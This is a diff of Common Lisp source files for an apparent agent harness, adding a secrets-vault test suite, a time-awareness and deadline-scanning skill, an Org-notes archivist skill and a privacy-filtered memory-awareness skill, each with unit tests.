(vault-set :vault-prov-b "secret-b")
|
||||
(is (string= "secret-a" (vault-get :vault-prov-a)))
|
||||
(is (string= "secret-b" (vault-get :vault-prov-b)))
|
||||
(vault-set :vault-prov-a nil)
|
||||
(vault-set :vault-prov-b nil))
|
||||
|
||||
(test test-vault-secret-wrappers
|
||||
"Contracts 3,4: vault-get-secret and vault-set-secret use :type :secret."
|
||||
(let ((test-provider :vault-secret-test))
|
||||
(vault-set-secret test-provider "my-token")
|
||||
(is (string= "my-token" (vault-get-secret test-provider)))
|
||||
;; Clean up
|
||||
(vault-set-secret test-provider nil)))
|
||||
|
||||
(test test-vault-type-isolation
|
||||
"Contract 5: different :type values produce different keys."
|
||||
(vault-set :vault-type-test "key-value" :type :api-key)
|
||||
(vault-set :vault-type-test "secret-value" :type :secret)
|
||||
(is (string= "key-value" (vault-get :vault-type-test :type :api-key)))
|
||||
(is (string= "secret-value" (vault-get :vault-type-test :type :secret)))
|
||||
(vault-set :vault-type-test nil :type :api-key)
|
||||
(vault-set :vault-type-test nil :type :secret))
|
||||
169
lisp/sensor-time.lisp
Normal file
169
lisp/sensor-time.lisp
Normal file
@@ -0,0 +1,169 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *session-start-time* nil
|
||||
"Universal time when sensor-time skill was loaded.")
|
||||
|
||||
(defun session-duration ()
|
||||
"Returns duration in seconds since skill load, or nil if not initialized."
|
||||
(when *session-start-time*
|
||||
(- (get-universal-time) *session-start-time*)))
|
||||
|
||||
(defun sensor-time-initialize ()
|
||||
"Record session start and register deadline-scanning cron."
|
||||
(setf *session-start-time* (get-universal-time))
|
||||
(handler-case
|
||||
(when (fboundp 'orchestrator-register-cron)
|
||||
(orchestrator-register-cron "time-tick"
|
||||
:action (lambda () (sensor-time-tick))
|
||||
:tier :reflex
|
||||
:repeat "+1m"))
|
||||
(error (c)
|
||||
(log-message "SENSOR-TIME: Could not register cron: ~a" c))))
|
||||
|
||||
(defun format-time-for-llm (&key (session-duration-seconds nil))
|
||||
"Returns a TIME: section string for the system prompt.
|
||||
When TIME_AWARENESS=false, returns empty string.
|
||||
TIME_FORMAT: iso = 2026-05-08T06:30:00Z, natural = 6:30 AM UTC, Thu May 8 2026.
|
||||
When session-duration-seconds is provided, includes session info."
|
||||
(unless (or (uiop:getenv "TIME_AWARENESS")
|
||||
(not (string-equal "false" (or (uiop:getenv "TIME_AWARENESS") "true"))))
|
||||
(return-from format-time-for-llm ""))
|
||||
(let ((time-aware (uiop:getenv "TIME_AWARENESS")))
|
||||
(when (and time-aware (string-equal time-aware "false"))
|
||||
(return-from format-time-for-llm "")))
|
||||
(multiple-value-bind (sec minute hour date month year day daylight zone)
|
||||
(decode-universal-time (get-universal-time) 0)
|
||||
(declare (ignore daylight zone))
|
||||
(let* ((format (or (uiop:getenv "TIME_FORMAT") "iso"))
|
||||
(iso-str (format nil "~4,'0d-~2,'0d-~2,'0dT~2,'0d:~2,'0d:~2,'0dZ"
|
||||
year month date hour minute (round sec)))
|
||||
(day-names '("Mon" "Tue" "Wed" "Thu" "Fri" "Sat" "Sun"))
|
||||
(month-names '("Jan" "Feb" "Mar" "Apr" "May" "Jun"
|
||||
"Jul" "Aug" "Sep" "Oct" "Nov" "Dec"))
|
||||
(natural-str (format nil "~2,'0d:~2,'0d UTC, ~a ~a ~d ~d"
|
||||
hour minute (nth day day-names)
|
||||
(nth (1- month) month-names) date year))
|
||||
(time-str (if (string-equal format "natural") natural-str iso-str))
|
||||
(dur-str (when session-duration-seconds
|
||||
(let* ((hours (floor session-duration-seconds 3600))
|
||||
(mins (floor (mod session-duration-seconds 3600) 60)))
|
||||
(if (> hours 0)
|
||||
(format nil " Session: ~dh ~dm." hours mins)
|
||||
(format nil " Session: ~dm." mins))))))
|
||||
(if dur-str
|
||||
(format nil "TIME: ~a.~a" time-str dur-str)
|
||||
(format nil "TIME: ~a." time-str)))))
|
||||
|
||||
(defvar *deadline-warning-minutes* nil)
|
||||
|
||||
(defun sensor-time-tick ()
|
||||
"Scans memory for approaching deadlines. Returns a formatted note string
|
||||
if any deadlines are within *deadline-warning-minutes*, nil otherwise.
|
||||
Called by the time-tick cron job every minute."
|
||||
(let ((warning-min (or *deadline-warning-minutes*
|
||||
(ignore-errors
|
||||
(parse-integer (uiop:getenv "DEADLINE_WARNING_MINUTES")))
|
||||
60)))
|
||||
(setf *deadline-warning-minutes* warning-min)
|
||||
(let ((now (get-universal-time))
|
||||
(deadlines nil))
|
||||
(maphash (lambda (id obj)
|
||||
(declare (ignore id))
|
||||
(let ((attrs (memory-object-attributes obj)))
|
||||
(let ((deadline (getf attrs :DEADLINE))
|
||||
(scheduled (getf attrs :SCHEDULED))
|
||||
(title (getf attrs :TITLE)))
|
||||
(dolist (prop (list deadline scheduled))
|
||||
(when prop
|
||||
(handler-case
|
||||
(let* ((parsed (parse-integer prop :junk-allowed t))
|
||||
(d-minutes (if parsed
|
||||
(- (round (/ (- parsed now) 60))
|
||||
warning-min)
|
||||
nil)))
|
||||
(when (and d-minutes (< d-minutes warning-min))
|
||||
(push (list :title title
|
||||
:minutes (- (round (/ (- (or parsed 0) now) 60))))
|
||||
deadlines)))
|
||||
(error () nil)))))))
|
||||
*memory-store*)
|
||||
(when deadlines
|
||||
(let* ((sorted (sort deadlines #'< :key (lambda (d) (getf d :minutes))))
|
||||
(parts (loop for d in sorted collect
|
||||
(let* ((mins (getf d :minutes))
|
||||
(label (cond
|
||||
((< mins 0) (format nil "~dmin overdue" (- mins)))
|
||||
((= mins 0) "now")
|
||||
(t (format nil "~dmin" mins)))))
|
||||
(format nil "~a (~a)" (getf d :title) label)))))
|
||||
(format nil "~d deadlines approaching: ~{~a; ~}" (length parts) parts))))))
|
||||
|
||||
(sensor-time-initialize)
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-sensor-time-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:sensor-time-suite))
|
||||
|
||||
(in-package :passepartout-sensor-time-tests)
|
||||
|
||||
(def-suite sensor-time-suite :description "Temporal awareness: time formatting, session, deadlines")
|
||||
(in-suite sensor-time-suite)
|
||||
|
||||
(test test-format-time-for-llm-includes-year
|
||||
"Contract 1: format-time-for-llm returns a string with the current year."
|
||||
(let ((result (passepartout::format-time-for-llm)))
|
||||
(is (stringp result))
|
||||
(is (search "202" result))
|
||||
(is (search "TIME" result))))
|
||||
|
||||
(test test-format-time-for-llm-utc
|
||||
"Contract 1: iso format includes Z suffix."
|
||||
(let ((result (passepartout::format-time-for-llm)))
|
||||
(is (stringp result))
|
||||
(is (search "Z" result))))
|
||||
|
||||
(test test-format-time-for-llm-natural
|
||||
"Contract 1: natural format produces human-readable date."
|
||||
(let ((old-env (or (uiop:getenv "TIME_FORMAT") "")))
|
||||
(unwind-protect
|
||||
(progn
|
||||
(setf (uiop:getenv "TIME_FORMAT") "natural")
|
||||
(let ((result (passepartout::format-time-for-llm)))
|
||||
(is (stringp result))
|
||||
(is (search "UTC" result))))
|
||||
(setf (uiop:getenv "TIME_FORMAT") old-env))))
|
||||
|
||||
(test test-format-time-for-llm-with-session
|
||||
"Contract 1: with session duration, includes session info."
|
||||
(let ((result (passepartout::format-time-for-llm :session-duration-seconds 3720)))
|
||||
(is (search "1h 2m" result))))
|
||||
|
||||
(test test-session-duration
|
||||
"Contract 2: session-duration returns a positive number after init."
|
||||
(passepartout::sensor-time-initialize)
|
||||
(let ((dur (passepartout::session-duration)))
|
||||
(is (numberp dur))
|
||||
(is (>= dur 0))))
|
||||
|
||||
(test test-sensor-time-tick-empty
|
||||
"Contract 3: sensor-time-tick returns nil when no deadlines are near."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((result (passepartout::sensor-time-tick)))
|
||||
(is (null result))))
|
||||
|
||||
(test test-sensor-time-tick-detects-deadline
|
||||
"Contract 3: sensor-time-tick detects a deadline close in time."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(setf passepartout::*deadline-warning-minutes* 120)
|
||||
(let ((near-future-time (- (get-universal-time) 60))) ; 1 minute ago
|
||||
(ingest-ast (list :type :HEADLINE
|
||||
:properties (list :ID "deadline-test"
|
||||
:TITLE "Submit report"
|
||||
:DEADLINE (write-to-string near-future-time))
|
||||
:contents nil)))
|
||||
(let ((result (passepartout::sensor-time-tick)))
|
||||
(is (not (null result)))
|
||||
(is (search "Submit report" result))))
|
||||
279
lisp/symbolic-archivist.lisp
Normal file
279
lisp/symbolic-archivist.lisp
Normal file
@@ -0,0 +1,279 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *archivist-last-scribe* 0
|
||||
"Universal time of the last Scribe distillation run.")
|
||||
|
||||
(defvar *archivist-last-gardener* 0
|
||||
"Universal time of the last Gardener scan run.")
|
||||
|
||||
(defvar *archivist-gardener-interval* 86400
|
||||
"Seconds between Gardener scans. Default: 24 hours.")
|
||||
|
||||
(defun archivist-scribe-distill ()
|
||||
"Distills daily log entries into atomic notes. Reads the Memex daily/
|
||||
directory for log files modified since the last run, extracts headlines
|
||||
as potential note seeds, and creates atomic note files in notes/ with
|
||||
backlinks to the source daily entry."
|
||||
(let* ((memex-dir (or (uiop:getenv "MEMEX_DIR")
|
||||
(namestring (merge-pathnames "memex/" (user-homedir-pathname)))))
|
||||
(daily-dir (merge-pathnames "daily/" memex-dir))
|
||||
(notes-dir (merge-pathnames "notes/" memex-dir))
|
||||
(now (get-universal-time))
|
||||
(notes-created 0))
|
||||
(unless (uiop:directory-exists-p daily-dir)
|
||||
(log-message "ARCHIVIST: Daily directory not found: ~a" daily-dir)
|
||||
(return-from archivist-scribe-distill nil))
|
||||
(ensure-directories-exist notes-dir)
|
||||
(handler-case
|
||||
(let ((daily-files (uiop:directory-files daily-dir "*.org")))
|
||||
(dolist (file daily-files)
|
||||
(let* ((filepath (namestring file))
|
||||
(file-mtime (ignore-errors (file-write-date filepath))))
|
||||
(when (and file-mtime (> file-mtime *archivist-last-scribe*))
|
||||
;; Extract headlines from daily log
|
||||
(let* ((content (handler-case (uiop:read-file-string filepath)
|
||||
(error () nil)))
|
||||
(headlines (when content
|
||||
(archivist-extract-headlines content))))
|
||||
(dolist (hl headlines)
|
||||
(when (archivist-create-note hl notes-dir filepath)
|
||||
(incf notes-created))))))))
|
||||
(error (c)
|
||||
(log-message "ARCHIVIST: Scribe error: ~a" c)))
|
||||
(setf *archivist-last-scribe* now)
|
||||
(when (> notes-created 0)
|
||||
(log-message "ARCHIVIST: Scribe created ~d atomic notes" notes-created))
|
||||
notes-created))
|
||||
|
||||
(defun archivist-extract-headlines (content)
|
||||
"Extracts first-level headlines and their content from Org text.
|
||||
Returns a list of plists: (:title <str> :content <str> :tags <list>)."
|
||||
(let ((lines (uiop:split-string content :separator '(#\Newline)))
|
||||
(results nil)
|
||||
(current-title nil)
|
||||
(current-lines nil)
|
||||
(current-tags nil)
|
||||
(in-properties nil))
|
||||
(dolist (line lines)
|
||||
(let ((trimmed (string-trim '(#\Space) line)))
|
||||
(when (string= trimmed ":PROPERTIES:")
|
||||
(setf in-properties t))
|
||||
(when (string= trimmed ":END:")
|
||||
(setf in-properties nil))
|
||||
(when (and in-properties (uiop:string-prefix-p ":TAGS:" trimmed))
|
||||
(setf current-tags
|
||||
(mapcar (lambda (tag) (string-trim '(#\Space) tag))
|
||||
(uiop:split-string (string-trim '(#\Space) (subseq trimmed 6))
|
||||
:separator '(#\space #\tab)))))
|
||||
(cond
|
||||
;; First-level headline
|
||||
((and (uiop:string-prefix-p "* " trimmed)
|
||||
(not (uiop:string-prefix-p "**" trimmed)))
|
||||
;; Save previous
|
||||
(when current-title
|
||||
(push (list :title current-title
|
||||
:content (format nil "~{~a~^~%~}" (nreverse current-lines))
|
||||
:tags current-tags)
|
||||
results))
|
||||
(setf current-title (string-trim '(#\* #\Space) trimmed)
|
||||
current-lines nil
|
||||
current-tags nil
|
||||
in-properties nil))
|
||||
;; Content lines under current headline
|
||||
(current-title
|
||||
(unless (or (uiop:string-prefix-p "*" trimmed)
|
||||
(string= trimmed ":PROPERTIES:")
|
||||
(string= trimmed ":END:"))
|
||||
(push line current-lines))))))
|
||||
;; Save last headline
|
||||
(when current-title
|
||||
(push (list :title current-title
|
||||
:content (format nil "~{~a~^~%~}" (nreverse current-lines))
|
||||
:tags current-tags)
|
||||
results))
|
||||
(nreverse results)))
|
||||
|
||||
(defun archivist-headline-to-filename (title)
|
||||
"Converts a headline title to a valid atomic note filename.
|
||||
Replaces spaces and special chars with underscores, downcases."
|
||||
(let* ((clean (cl-ppcre:regex-replace-all "[^a-zA-Z0-9 ]" title ""))
|
||||
(underscored (cl-ppcre:regex-replace-all "\\s+" clean "_"))
|
||||
(lowered (string-downcase underscored)))
|
||||
(if (> (length lowered) 100)
|
||||
(subseq lowered 0 100)
|
||||
lowered)))
|
||||
|
||||
(defun archivist-create-note (headline notes-dir source-filepath)
|
||||
"Creates an atomic note from a headline plist in the notes/ directory.
|
||||
Headline is a plist (:title <str> :content <str> :tags <list>).
|
||||
Returns T if note was created, nil if it already exists."
|
||||
(let* ((title (getf headline :title))
|
||||
(content (or (getf headline :content) ""))
|
||||
(tags (getf headline :tags))
|
||||
(filename (archivist-headline-to-filename title))
|
||||
(filepath (merge-pathnames (format nil "~a.org" filename) notes-dir))
|
||||
(source-basename (enough-namestring source-filepath
|
||||
(merge-pathnames "" notes-dir))))
|
||||
(when (uiop:file-exists-p filepath)
|
||||
(return-from archivist-create-note nil))
|
||||
(handler-case
|
||||
(progn
|
||||
(uiop:with-output-file (s filepath :if-exists nil)
|
||||
(format s "#+TITLE: ~a~%" title)
|
||||
(format s "#+FILETAGS: :atomic:note:~:[~;~{~a~^:~}~]~%" tags tags)
|
||||
(format s "~%* ~a~%" title)
|
||||
(format s ":PROPERTIES:~%")
|
||||
(format s ":CREATED: ~a~%" (org-id-generate))
|
||||
(format s ":SOURCE: ~a~%" source-basename)
|
||||
(format s ":END:~%")
|
||||
(format s "~%~a~%" content)
|
||||
(format s "~%* Backlinks~%")
|
||||
(format s "- Source: [[file:~a][~a]]~%" source-basename
|
||||
(file-namestring source-filepath)))
|
||||
(log-message "ARCHIVIST: Created note ~a" (namestring filepath))
|
||||
t)
|
||||
(error (c)
|
||||
(log-message "ARCHIVIST: Failed to create note ~a: ~a" filepath c)
|
||||
nil))))
|
||||
|
||||
(defun archivist-gardener-scan ()
|
||||
"Scans the Memex for broken file links and orphaned memory objects.
|
||||
Broken links are =[[file:...]]= references whose target file does not exist.
|
||||
Orphaned objects are =memory-object= entries whose =:parent-id= references
|
||||
a deleted object. Returns a plist (:broken-links <count> :orphans <count>)."
|
||||
(let* ((memex-dir (or (uiop:getenv "MEMEX_DIR")
|
||||
(namestring (merge-pathnames "memex/" (user-homedir-pathname)))))
|
||||
(org-files (archivist-find-org-files memex-dir))
|
||||
(broken-links 0)
|
||||
(orphans 0))
|
||||
;; Scan for broken links
|
||||
(dolist (file org-files)
|
||||
(handler-case
|
||||
(let* ((content (uiop:read-file-string file))
|
||||
(links (archivist-extract-file-links content)))
|
||||
(dolist (link links)
|
||||
(let ((target (merge-pathnames link (make-pathname :directory
|
||||
(pathname-directory file)))))
|
||||
(unless (uiop:file-exists-p target)
|
||||
(log-message "ARCHIVIST: Broken link in ~a -> ~a"
|
||||
(enough-namestring file memex-dir) link)
|
||||
(incf broken-links)))))
|
||||
(error ()
|
||||
(log-message "ARCHIVIST: Could not read ~a" file))))
|
||||
;; Scan for orphaned memory objects
|
||||
(handler-case
|
||||
(let ((deleted-ids (make-hash-table :test 'equal)))
|
||||
;; In practice, we check if parent-id points to a non-existent object
|
||||
(maphash (lambda (id obj)
|
||||
(declare (ignore obj))
|
||||
(setf (gethash id deleted-ids) t))
|
||||
(if (boundp '*memory-store*)
|
||||
(symbol-value '*memory-store*)
|
||||
(make-hash-table :test 'equal)))
|
||||
(let ((store (if (boundp '*memory-store*)
|
||||
(symbol-value '*memory-store*)
|
||||
(make-hash-table :test 'equal))))
|
||||
(maphash (lambda (id obj)
|
||||
(let ((parent (memory-object-parent-id obj)))
|
||||
(when (and parent (not (gethash parent store)))
|
||||
(log-message "ARCHIVIST: Orphaned object ~a (parent ~a not found)"
|
||||
id parent)
|
||||
(incf orphans))))
|
||||
store)))
|
||||
(error ()
|
||||
(log-message "ARCHIVIST: Memory store not available for orphan scan")))
|
||||
(setf *archivist-last-gardener* (get-universal-time))
|
||||
(list :broken-links broken-links :orphans orphans)))
|
||||
|
||||
(defun archivist-find-org-files (memex-dir)
|
||||
"Recursively finds all .org files under memex-dir, up to 3 levels deep."
|
||||
(let ((files nil))
|
||||
(labels ((walk (dir depth)
|
||||
(when (and (uiop:directory-exists-p dir) (< depth 3))
|
||||
(handler-case
|
||||
(dolist (entry (uiop:subdirectories dir))
|
||||
(walk entry (1+ depth)))
|
||||
(error ()))
|
||||
(handler-case
|
||||
(dolist (file (uiop:directory-files dir "*.org"))
|
||||
(push (namestring file) files))
|
||||
(error ())))))
|
||||
(walk memex-dir 0))
|
||||
files))
|
||||
|
||||
(defun archivist-extract-file-links (content)
|
||||
"Extracts all =[[file:...]]= link targets from Org content.
|
||||
Returns a list of link target strings."
|
||||
(let ((links nil))
|
||||
(cl-ppcre:do-register-groups (target)
|
||||
("\\[\\[file:([^\\]]+)\\]\\[" content)
|
||||
(unless (search "::" target) ;; skip internal anchors
|
||||
(pushnew target links :test #'string=)))
|
||||
;; Also handle bare [[file:target]] links
|
||||
(cl-ppcre:do-register-groups (target)
|
||||
("\\[\\[file:([^\\]]+)\\]\\]" content)
|
||||
(unless (search "::" target)
|
||||
(pushnew target links :test #'string=)))
|
||||
links))
|
||||
|
||||
(defun archivist-run (action context)
|
||||
"Runs the archivist maintenance cycle. Checks Scribe and Gardener schedules
|
||||
and dispatches as needed. Called by the deterministic gate."
|
||||
(declare (ignore action context))
|
||||
(let ((now (get-universal-time)))
|
||||
;; Scribe runs every 6 hours (21600 seconds)
|
||||
(when (>= (- now *archivist-last-scribe*) 21600)
|
||||
(ignore-errors (archivist-scribe-distill)))
|
||||
;; Gardener runs every 24 hours
|
||||
(when (>= (- now *archivist-last-gardener*) *archivist-gardener-interval*)
|
||||
(ignore-errors
|
||||
(let ((result (archivist-gardener-scan)))
|
||||
(when (> (getf result :broken-links) 0)
|
||||
(log-message "ARCHIVIST: Gardener found ~d broken links, ~d orphans"
|
||||
(getf result :broken-links) (getf result :orphans)))))))
|
||||
nil)
|
||||
|
||||
(defskill :passepartout-symbolic-archivist
|
||||
:priority 100
|
||||
:trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :heartbeat))
|
||||
:deterministic #'archivist-run)
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-symbolic-archivist-tests
|
||||
(:use :cl :passepartout)
|
||||
(:export #:archivist-suite))
|
||||
|
||||
(in-package :passepartout-symbolic-archivist-tests)
|
||||
|
||||
(fiveam:def-suite archivist-suite :description "Verification of the Archivist skill")
|
||||
(fiveam:in-suite archivist-suite)
|
||||
|
||||
(fiveam:test test-extract-headlines
|
||||
"Contract 1: archivist-extract-headlines parses Org content."
|
||||
(let* ((content (format nil "* My Headline :tag1:tag2:~%Body text here~%* Another Headline"))
|
||||
(headlines (archivist-extract-headlines content)))
|
||||
(fiveam:is (listp headlines))
|
||||
(fiveam:is (>= (length headlines) 1))))
|
||||
|
||||
(fiveam:test test-headline-to-filename
|
||||
"Contract 2: archivist-headline-to-filename sanitizes titles."
|
||||
(let ((filename (archivist-headline-to-filename "My Project: Overview")))
|
||||
(fiveam:is (search "my_project_overview" filename :test #'char-equal))
|
||||
(fiveam:is (not (search ":" filename)))))
|
||||
|
||||
(fiveam:test test-archivist-create-note
|
||||
"Contract 3: archivist-create-note writes a Zettelkasten note to disk."
|
||||
(let* ((tmp-dir "/tmp/passepartout-archivist-test/")
|
||||
(headline (list :title "Test Note" :content "Some content" :tags '("test" "atomic"))))
|
||||
(uiop:ensure-all-directories-exist (list tmp-dir))
|
||||
(unwind-protect
|
||||
(progn
|
||||
(fiveam:is (eq t (archivist-create-note headline tmp-dir "/tmp/source.org"))
|
||||
"Expected note creation to return T")
|
||||
(fiveam:is (uiop:file-exists-p (merge-pathnames "test_note.org" tmp-dir))
|
||||
"Expected file test_note.org to exist"))
|
||||
(uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t))))
|
||||
228
lisp/symbolic-awareness.lisp
Normal file
228
lisp/symbolic-awareness.lisp
Normal file
@@ -0,0 +1,228 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defun context-query (&key tag todo-state type scope)
|
||||
"Filters the Memory based on tags, todo states, or types.
|
||||
Optional SCOPE restricts results to objects with that scope
|
||||
or :memex (global scope always visible)."
|
||||
(let ((results nil))
|
||||
(maphash (lambda (id obj)
|
||||
(declare (ignore id))
|
||||
(let* ((attrs (memory-object-attributes obj)) (state (getf attrs :TODO-STATE)) (match t))
|
||||
;; Scope filter: if scope specified, only match :memex (global) or same scope
|
||||
(when (and scope (not (eq (memory-object-scope obj) :memex))
|
||||
(not (eq (memory-object-scope obj) scope)))
|
||||
(setf match nil))
|
||||
(when (and type (not (eq (memory-object-type obj) type))) (setf match nil))
|
||||
(when tag (unless (search tag (format nil "~a" (getf attrs :TAGS)) :test #'string-equal) (setf match nil)))
|
||||
(when (and todo-state (not (equal state todo-state))) (setf match nil))
|
||||
(when match (push obj results))))
|
||||
*memory-store*)
|
||||
results))
|
||||
|
||||
(defun context-active-projects ()
|
||||
"Returns headlines tagged as 'project' that are not yet marked DONE."
|
||||
(remove-if (lambda (obj) (equal (getf (memory-object-attributes obj) :TODO-STATE) "DONE"))
|
||||
(context-query :tag "project" :type :HEADLINE)))
|
||||
|
||||
(defun context-recent-tasks ()
|
||||
"Retrieves recently finished tasks from the store."
|
||||
(context-query :todo-state "DONE" :type :HEADLINE))
|
||||
|
||||
(defun context-skill-list ()
|
||||
"Provides a sorted overview of currently loaded system capabilities."
|
||||
(let ((results nil))
|
||||
(maphash (lambda (name skill)
|
||||
(declare (ignore name))
|
||||
(push (list :name (skill-name skill) :priority (skill-priority skill) :dependencies (skill-dependencies skill)) results))
|
||||
*skill-registry*)
|
||||
(sort results #'> :key (lambda (x) (getf x :priority)))))
|
||||
|
||||
(defun context-skill-source (skill-name)
|
||||
"Reads the raw literate source of a specific skill for inspection."
|
||||
(let* ((filename (format nil "~a.org" skill-name))
|
||||
(data-dir (uiop:ensure-directory-pathname (or (uiop:getenv "PASSEPARTOUT_DATA_DIR") (namestring (merge-pathnames ".local/share/passepartout/" (user-homedir-pathname))))))
|
||||
(org-dir (merge-pathnames "org/" data-dir))
|
||||
(full-path (merge-pathnames filename org-dir)))
|
||||
(if (uiop:file-exists-p full-path) (uiop:read-file-string full-path) nil)))
|
||||
|
||||
(defun context-skill-subtree (skill-name heading-name)
|
||||
"Reads a specific headline subtree from a skill's Org source file.
|
||||
Returns the content under HEADING-NAME (including children) as a string,
|
||||
or nil if the heading is not found."
|
||||
(let ((full-source (context-skill-source skill-name)))
|
||||
(unless full-source (return-from context-skill-subtree nil))
|
||||
(if (fboundp 'org-subtree-extract)
|
||||
(org-subtree-extract full-source heading-name)
|
||||
;; Fallback: no org-subtree-extract available, return full source
|
||||
full-source)))
|
||||
|
||||
(defun context-logs (&optional limit)
|
||||
"Retrieves the most recent lines from the harness's internal log."
|
||||
(let ((log-limit (or limit (ignore-errors (parse-integer (uiop:getenv "CONTEXT_LOG_LIMIT"))) 20)))
|
||||
(bt:with-lock-held (*log-lock*)
|
||||
(let ((count (min log-limit (length *log-buffer*))))
|
||||
(subseq *log-buffer* 0 count)))))
|
||||
|
||||
(defun context-get-system-logs (&optional limit)
|
||||
"Backward-compatibility alias for context-logs."
|
||||
(context-logs limit))
|
||||
|
||||
(defun context-object-render (obj &key (depth 1) (foveal-id nil) semantic-threshold (foveal-vector nil))
|
||||
"Recursively renders an org-object and its children to an Org string using a Foveal-Peripheral Hybrid model."
|
||||
(let* ((id (memory-object-id obj))
|
||||
(is-foveal (equal id foveal-id))
|
||||
(title (or (getf (memory-object-attributes obj) :TITLE) "Untitled"))
|
||||
(content (memory-object-content obj))
|
||||
(children (memory-object-children obj))
|
||||
(stars (make-string depth :initial-element #\*))
|
||||
(obj-vector (memory-object-vector obj))
|
||||
(threshold (or semantic-threshold (ignore-errors (read-from-string (uiop:getenv "CONTEXT_SEMANTIC_THRESHOLD"))) 0.75))
|
||||
(similarity (if (and foveal-vector obj-vector (not is-foveal))
|
||||
(vector-cosine-similarity foveal-vector obj-vector)
|
||||
0.0))
|
||||
(is-semantically-relevant (>= similarity threshold))
|
||||
(should-render (or (<= depth 2) is-foveal is-semantically-relevant))
|
||||
(output ""))
|
||||
|
||||
(when should-render
|
||||
(setf output (format nil "~a ~a~%:PROPERTIES:~%:ID: ~a~%" stars title id))
|
||||
(when is-semantically-relevant
|
||||
(setf output (concatenate 'string output (format nil ":SEMANTIC_SCORE: ~,2f~%" similarity))))
|
||||
(setf output (concatenate 'string output (format nil ":END:~%")))
|
||||
|
||||
(when (and content (or is-foveal is-semantically-relevant))
|
||||
(setf output (concatenate 'string output content (string #\Newline))))
|
||||
|
||||
(dolist (child-id children)
|
||||
(let ((child-obj (memory-object-get child-id)))
|
||||
(when child-obj
|
||||
(let ((next-foveal (if is-foveal child-id foveal-id)))
|
||||
(setf output (concatenate 'string output
|
||||
(context-object-render child-obj
|
||||
:depth (1+ depth)
|
||||
:foveal-id next-foveal
|
||||
:semantic-threshold threshold
|
||||
:foveal-vector foveal-vector))))))))
|
||||
output))
|
||||
|
||||
(defun context-path-resolve (path-string)
|
||||
"Expands environment variables and strips literal quotes from a path string."
|
||||
(let ((path (if (stringp path-string)
|
||||
(string-trim '(#\" #\' #\Space) path-string)
|
||||
path-string)))
|
||||
(if (and (stringp path) (search "$" path))
|
||||
(let ((result path))
|
||||
(ppcre:do-register-groups (var-name) ("\\$([A-Za-z0-9_]+)" path)
|
||||
(let ((var-val (uiop:getenv var-name)))
|
||||
(when var-val
|
||||
(setf result (ppcre:regex-replace (format nil "\\$~a" var-name) result var-val)))))
|
||||
result)
|
||||
path)))
|
||||
|
||||
(defun context-privacy-filtered-p (obj)
|
||||
"Returns T if an org-object's :TAGS attribute matches the Dispatcher's privacy tags."
|
||||
(let* ((attrs (memory-object-attributes obj))
|
||||
(tags (getf attrs :TAGS))
|
||||
(privacy-tags (and (find-package :passepartout.security-dispatcher)
|
||||
(symbol-value
|
||||
(find-symbol "*DISPATCHER-PRIVACY-TAGS*"
|
||||
:passepartout.security-dispatcher)))))
|
||||
(when (and tags privacy-tags)
|
||||
(let ((tag-list (if (listp tags) tags (list tags))))
|
||||
(some (lambda (tag)
|
||||
(some (lambda (private)
|
||||
(string-equal (string-trim '(#\:) tag)
|
||||
(string-trim '(#\:) private)))
|
||||
privacy-tags))
|
||||
tag-list)))))
|
||||
|
||||
(defun context-awareness-assemble (&optional signal)
|
||||
"Produces a high-level skeletal outline of the current Memory for the LLM.
|
||||
Privacy-filtered objects (matching the Dispatcher's privacy tags) are excluded."
|
||||
(let* ((foveal-id (or (getf signal :foveal-focus)
|
||||
(ignore-errors (getf (getf signal :payload) :target-id))))
|
||||
(foveal-vector (when foveal-id
|
||||
(memory-object-vector (memory-object-get foveal-id))))
|
||||
(all-projects (context-active-projects))
|
||||
(projects (remove-if #'context-privacy-filtered-p all-projects))
|
||||
(output (format nil "GLOBAL MEMEX AWARENESS (Peripheral Vision):~%")))
|
||||
(if projects
|
||||
(dolist (project projects)
|
||||
(setf output (concatenate 'string output
|
||||
(context-object-render project :foveal-id foveal-id :foveal-vector foveal-vector))))
|
||||
(setf output (concatenate 'string output "No active projects found.~%")))
|
||||
output))
|
||||
|
||||
(defun context-assemble-global-awareness ()
|
||||
(context-awareness-assemble))
|
||||
|
||||
(defskill :passepartout-symbolic-awareness
|
||||
:priority 50
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-peripheral-vision-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:vision-suite))
|
||||
(in-package :passepartout-peripheral-vision-tests)
|
||||
|
||||
(def-suite vision-suite :description "Verification of Foveal-Peripheral context model.")
|
||||
(in-suite vision-suite)
|
||||
|
||||
(test test-foveal-rendering
|
||||
"Contract 1: foveal content inline, peripheral content title-only."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let* ((ast '(:type :HEADLINE :properties (:ID "proj-root" :TITLE "Project" :TAGS ("project"))
|
||||
:contents ((:type :HEADLINE :properties (:ID "node-foveal" :TITLE "Foveal Node")
|
||||
:raw-content "FOVEAL CONTENT" :contents nil)
|
||||
(:type :HEADLINE :properties (:ID "node-peripheral" :TITLE "Peripheral Node")
|
||||
:raw-content "PERIPHERAL CONTENT" :contents nil)))))
|
||||
(ingest-ast ast)
|
||||
(let ((output (context-awareness-assemble (list :foveal-focus "node-foveal"))))
|
||||
(is (search "FOVEAL CONTENT" output))
|
||||
(is (search "* Peripheral Node" output))
|
||||
(is (not (search "PERIPHERAL CONTENT" output))))))
|
||||
|
||||
(test test-awareness-budget
|
||||
"Contract 1: all active projects appear in awareness output."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
